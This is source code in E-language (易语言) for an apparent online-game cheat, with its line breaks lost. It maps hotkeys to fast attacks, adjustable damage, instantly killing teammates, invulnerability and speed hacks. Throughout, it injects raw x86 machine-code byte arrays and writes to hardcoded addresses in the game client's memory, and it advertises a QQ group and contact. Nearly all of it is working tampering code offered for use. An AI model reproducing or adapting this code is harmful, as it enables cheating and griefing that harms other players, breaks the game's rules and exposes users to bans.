(窗口1.取窗口句柄 (), 0, #F10键, &狂战觉醒)公告 (“交流群85046938”, 十六到十 (“FF00FF00”))公告 (“F1 快速攻击”, 十六到十 (“FF00FF00”))公告 (“F2 关闭快速攻击”, 十六到十 (“FF00FF00”))公告 (“F3 秒杀队友”, 十六到十 (“FF00FF00”))公告 (“F4 霸体高防移动”, 十六到十 (“FF00FF00”))公告 (“F5 消耗品召唤魔剑第1格”, 十六到十 (“FF00FF00”))公告 (“F6 3S”, 十六到十 (“FF00FF00”))公告 (“F7 幻影剑舞!(推荐)”, 十六到十 (“FF00FF00”))公告 (“Page Up攻击伤害加 Page Down攻击伤害减”, 十六到十 (“FF00FF00”)) 公告 (“F8 城镇加速”, 十六到十 (“FF00FF00”))公告 (“F9 图内加速!带戒指!”, 十六到十 (“FF00FF00”))公告 (“F10 狂战觉醒!”, 十六到十 (“FF00FF00”)).子程序公告, , , 带参数调用.参数 msg, 文本型.参数 color, 整数型.局部变量宽字符, 字节集.局部变量消息地址, 整数型.局部变量 CALL地址, 整数型.局部变量 CALL, 整数型.局部变量 CALL机械码, 字节集CALL = 11032352宽字符=转换Ansi转Unicode (msg)消息地址= _取地址_字节集 (宽字符)CALL地址= _取地址_整数型 (CALL)CALL机械码= { 96, 185, 84, 190, 8, 1, 139, 9, 139, 73, 80, 106, 0, 106, 0, 106, 31, 104 } +到字节集 (color) + { 104 } +到字节集 (消息地址) + { 255, 21 } +到字节集 (CALL地址) + { 97, 195 }嵌入机器码 (CALL机械码).子程序 _取地址_文本型, 整数型.参数变量, 文本型, 参考置入代码 ({ 139, 69, 8, 139, 0, 201, 194, 4, 0 })返回 (0).子程序 _取地址_整数型, 整数型.参数变量, 整数型, 参考置入代码 ({ 139, 69, 8, 139, 229, 93, 194, 4, 0 })返回 (0).子程序 _取地址_字节集, 整数型.参数变量, 字节集, 参考置入代码 ({ 139, 69, 8, 139, 0, 131, 192, 8, 139, 229, 93, 194, 4, 0 })返回 (0).子程序嵌入机器码.参数机器码, 字节集.局部变量首地址, 整数型.局部变量指令长度, 整数型指令长度=取字节集长度 (机器码)首地址=申请内存 (指令长度, )写到内存 (机器码, 首地址, )调用子程序 (首地址, , , )释放内存 (首地址).子程序自定义攻击.参数人物基址, 整数型.参数攻击距离, 整数型.参数伤害值, 整数型.参数技能ID, 整数型置入代码 ({ 139, 117, 8, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 255, 117, 12, 106, 0, 106, 0, 255, 117, 16, 255, 117, 20, 139, 206, 255, 146, 204, 2, 0, 0 }).子程序攻击时钟1.时钟周期= 100公告 (“攻击安Page Up攻击伤害加”, 十六到十 (“FF00FF00”)).子程序 SSS时钟1.时钟周期= 0公告 (“关闭攻击”, 十六到十 (“FF00FF00”)).子程序秒杀队友置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 80, 0, 0, 104, 170, 32, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })公告 (“秒杀队友!”, 十六到十 (“FF00FF00”)).子程序城镇加速写内存整数型 (进程, 读内存整数型 (进程, 十六到十 (“010DDD0C”)) +十六到十(“4f0”), 1)时钟3.时钟周期= 50公告 (“霸体高防已开启”, 十六到十 (“FF00FF00”)).子程序霸体内存操作.写代码 (“010DDD0C+3048+20+C+10=1198”)公告 (“药召唤魔剑”, 十六到十 (“FF00FF00”))内存操作.写代码 (“010DDD0C+1e40+248=010DDD0C+1e40+50=4”) ' 衣服减物伤害内存操作.写代码 (“010DDD0C+1e40+260=010DDD0C+1e40+50=4”) ' 衣服减魔伤害内存操作.写代码 (“010DDD0C+1E4C+348=010DDD0C+1E54+50=4”) ' 移动速度内存操作.写代码 (“010DDD0C+1E4C+348=010DDD0C+1E54+50=4”) ' 攻击速度.子程序说明公告 (“QQ:923153415有广7的M下”, 十六到十 (“FF00FF00”))公告 (“F1 快速攻击”, 十六到十 (“FF00FF00”))公告 (“F2 关闭快速攻击”, 十六到十 (“FF00FF00”))公告 (“F3 秒杀队友”, 十六到十 (“FF00FF00”))公告 (“F4 霸体高防移动”, 十六到十 (“FF00FF00”))公告 (“F5 消耗品召唤魔剑第1格”, 十六到十 (“FF00FF00”))公告 (“F6 3S”, 十六到十 (“FF00FF00”))公告 (“F7 幻影剑舞!(推荐)”, 十六到十 (“FF00FF00”))公告 (“Page Up攻击伤害加 Page Down攻击伤害减”, 十六到十 (“FF00FF00”)) 公告 (“F8 城镇加速”, 十六到十 (“FF00FF00”))公告 (“F9 图内加速!带戒指!”, 十六到十 (“FF00FF00”))公告 (“F10 狂战觉醒!”, 十六到十 (“FF00FF00”)).子程序攻击伤害加.判断开始 (攻击伤害值≥ 100000)攻击伤害值= 50.默认攻击伤害值=攻击伤害值+ 50编辑框3.内容=到文本 (攻击伤害值)公告 (编辑框3.内容, 十六到十 (“FF00FF00”)).判断结束.子程序攻击伤害减.判断开始 (攻击伤害值≤ 0)攻击伤害值= 50.默认攻击伤害值=攻击伤害值- 50编辑框3.内容=到文本 (攻击伤害值)公告 (编辑框3.内容, 十六到十 (“FF00FF00”)).判断结束自定义攻击 (十六到十 (“010DDD0C”), 到整数 (0), 到整数 (编辑框 3.内容), 到整数(20059)).子程序霸体1内存操作.写入 (十六到十 (“017E6D6A”), { 144, 144, 144 }, )公告 (“F6 3S”, 十六到十 (“FF00FF00”)).子程序幻影剑舞置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 65, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })超级延时 (100)幻影剑舞1 ()公告 (“幸福提示:幻影剑舞已经开启”, 十六到十 (“FF00FF00”)).子程序幻影剑舞1置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 66, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 65, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })超级延时 (100)幻影剑舞2 ().子程序幻影剑舞2置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 67, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 65, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })超级延时 (100)幻影剑舞3 ().子程序幻影剑舞3置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 68, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 67, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })超级延时 (100)幻影剑舞4 ().子程序幻影剑舞4置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 68, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 67, 78, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })超级延时 (100)幻影剑舞5 ().子程序幻影剑舞5置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 188, 33, 13, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 1, 0, 0, 104, 188, 33, 13, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 }).子程序城镇内存操作.写代码 (“010DDD0C+1964=”+到文本 (内存操作.读代码 (“010DDD0C+1754”))) 公告 (“城镇加速”, 十六到十 (“FFFF00FF”))。